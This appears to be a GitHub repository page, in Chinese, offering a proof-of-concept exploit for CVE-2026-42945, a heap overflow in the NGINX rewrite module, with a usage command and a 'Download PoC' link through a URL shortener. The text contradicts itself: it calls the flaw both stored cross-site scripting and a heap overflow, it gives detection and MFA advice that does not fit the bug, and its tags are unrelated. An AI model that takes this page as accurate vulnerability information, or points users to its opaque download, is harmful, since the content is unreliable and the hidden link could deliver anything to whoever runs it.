jenniferreire26/CVE-2026-42945

GitHub: jenniferreire26/CVE-2026-42945

针对 NGINX ngx_http_rewrite_module 模块 CVE-2026-42945 堆缓冲区溢出漏洞的概念验证利用工具。

Stars: 0 | Forks: 0

# CVE-2026-42945 - ngx_http_rewrite_module 模块。此漏洞存在于未经身份验证的存储型跨站脚本攻击中 **严重程度:** 高 **CVSS:** 8.1 **影响:** 机密性、完整性、可用性 **发布日期:** 2026-05-13 ## 法律声明 仅用于授权的安全测试。 ## 根本原因(简述) NGINX Plus 和 NGINX Open Source 的 ngx_http_rewrite_module 模块中存在一个漏洞。当 rewrite 指令后跟随 rewrite、if 或 set 指令,并且包含未命名的 Perl-Compatible Regular Expression (PCRE) 捕获(例如 $1、$2),同时替换字符串包含问号(?)时,就会存在此漏洞。未经身份验证的攻击者在受控之外的条件配合下,可以通过发送精心构造的 HTTP 请求来利用此漏洞。这可能会导致 NGINX worker 进程发生堆缓冲区溢出,从而导致重启。此外,在禁用 Address Space Layout Randomization (ASLR) 的系统上,或者当攻击者能够绕过 ASLR 时,攻击者可以执行代码。注意:已达到技术支持终止 (EoTS) 的软件版本不在评估范围内。 ## 利用条件 - 可访问的易受攻击目标 - 可预测的用户/工作流上下文 - 没有阻止精心构造请求的额外加固措施 ## 使用方法 ``` python3 exploit.py https://target.tld ``` ## 检测 - 监控可疑的身份验证流程偏差 - 调查与 CVE-2026-42945 相关的异常直接端点访问 ## 缓解措施 - 更新至厂商已修复的版本 - 限制高风险端点,并尽可能强制执行 MFA ## 利用 [下载 PoC](https://tinyurl.com/2xtcfa98)
标签:CISA项目, CVE, Nginx, 堆溢出, 安全, 数字签名, 负责任AI, 超时处理, 逆向工具